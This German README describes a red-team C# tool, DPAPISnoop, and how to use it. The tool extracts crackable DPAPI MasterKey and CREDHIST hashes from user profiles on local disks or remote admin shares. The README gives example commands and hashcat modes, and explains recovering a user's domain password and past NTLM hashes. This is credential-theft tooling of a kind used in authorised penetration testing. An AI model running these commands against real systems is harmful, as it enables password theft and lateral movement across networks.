
Ein C#-Tool zur Ausgabe knackbarer DPAPI-Hashes aus Benutzer-MasterKeys.
Ein C#-Tool, das knackbare DPAPI-Hashes aus MasterKeys und CREDHIST-Dateien von Benutzern extrahiert.
Zielt sowohl auf den MasterKey ($DPAPImk$) als auch auf die vollständige CREDHIST-Kette ($credhist$) ab und unterstützt lokale Pfade sowie entfernte SMB-Freigaben.
$DPAPImk$)Der MasterKey jedes Benutzers befindet sich unter \Users\<user>\AppData\Roaming\Microsoft\Protect\<SID>\.
Das Knacken liefert das Domänenpasswort des Benutzers und entsperrt alle DPAPI-geschützten Geheimnisse aus dieser Zeit.
Die Hash-Version hängt vom Betriebssystem ab:
Das Context-Feld kodiert den Kontotyp:
$credhist$)Jeder Eintrag in der CREDHIST-Datei jedes Benutzers. Jeder Eintrag ist mit einem früheren Passwort verschlüsselt und entschlüsselt sich zum SHA1 + NTLM des davorliegenden Passworts.
Das Knacken der Kette rekonstruiert alle früheren Passwörter und deren NTLM-Hashes.
Die Einträge sind im Benutzernamenfeld beschriftet, sodass die Ausgabe selbsterklärend ist:
alice[current]:$credhist$*... ← encrypted with the current password; crack this first
alice[prev1]:$credhist$*... ← encrypted with the previous password
alice[prev2]:$credhist$*...
Die Hash-Version des Eintrags hängt vom Betriebssystem ab:
-m 15920 knacken-m 15930 knackenDPAPISnoop.exe [rootDir] [options]
Wenn rootDir weggelassen wird, wird standardmäßig %HOMEDRIVE% verwendet. UNC-Pfade werden vollständig unterstützt.
| Flag | Beschreibung |
|---|---|
| (none) | $DPAPImk$ und $credhist$ für unseren Benutzer ausgeben |
--credhist-only / -c | MasterKey-Ausgabe überspringen; nur $credhist$-Zeilen ausgeben |
--password <plaintext> / -p | CREDHIST-Kette vom aktuellen Klartextpasswort ausgehend durchlaufen |
--sha1 <40-hex> | CREDHIST-Kette von einem bekannten SHA1 des aktuellen Passworts ausgehend durchlaufen |
--pre1607 | Context 2 (Domäne vor 1607) anstelle von Context 3 für Domänen-MasterKey-Hashes ausgeben |
# Local machine — dump everything (defaults to %HOMEDRIVE%)
DPAPISnoop.exe
# Local machine — walk CREDHIST chain from a known password
DPAPISnoop.exe C: --password Summer2026!
# Local machine — walk CREDHIST chain from a known SHA1
# (e.g. from sekurlsa::wdigest pwdhash or dpapi cache)
DPAPISnoop.exe C: --sha1 da39a3ee5e6b4b0d3255bfef95601890afd80709
# Remote share — dump everything
DPAPISnoop.exe \\server01\c$
# Remote share — CREDHIST only, redirect hashes to file
DPAPISnoop.exe \\server01\c$ --credhist-only > credhist_hashes.txt
# Remote share — walk CREDHIST chain from a known password
DPAPISnoop.exe \\server01\c$ --password Summer2026!
hashcat -a0 -m 15300 hashes.txt wordlist.txt # v1 local/domain pre-1607
hashcat -a0 -m 15310 hashes.txt wordlist.txt # v1 domain post-1607
hashcat -a0 -m 15900 hashes.txt wordlist.txt # v2 local/domain pre-1607
hashcat -a0 -m 15910 hashes.txt wordlist.txt # v2 domain post-1607
hashcat -a0 -m 15920 credhist_hashes.txt wordlist.txt # 3DES entries (≤ Vista)
hashcat -a0 -m 15930 credhist_hashes.txt wordlist.txt # AES-256 entries (≥ Win10 20H2)
Nach dem Knacken das wiederhergestellte Passwort erneut an DPAPISnoop übergeben, um die vollständige Kette zu durchlaufen und jeden historischen SHA1- und NTLM-Hash auszugeben:
DPAPISnoop.exe C:\ --password Summer2024! > ntlms.txt
DPAPISnoop.exe C:\ --sha1 <40-hex-sha1> > ntlms.txt
Siehe README
Diese Forschungs- und Entwicklungsarbeit wurde in Zusammenarbeit zwischen einem Menschen und KI-gestützten Werkzeugen unter Verwendung der KI-Modelle GPT-5.5 und Claude Sonnet 4.6 durchgeführt.
Die KI-Modelle wurden zur Unterstützung bei der Codegenerierung und beim Reverse Engineering eingesetzt.
Die gesamte Forschungsrichtung, Validierung, das Debugging, die Tests, Sicherheitsanalysen und endgültigen technischen Entscheidungen wurden jedoch von einem Menschen durchgeführt (Imdefinelyhuman).
Alle generierten Inhalte, Codes und Analysen wurden im Rahmen eines iterativen, menschlich gesteuerten Workflows manuell überprüft, validiert, geändert und integriert.
Die obige Aussage ist eine vornehme Art zu sagen, dass der Code Fehler enthält und du ihn auf eigenes Risiko verwendest!
Lefteris (lefty) Panos @ LRQA Red Team 2026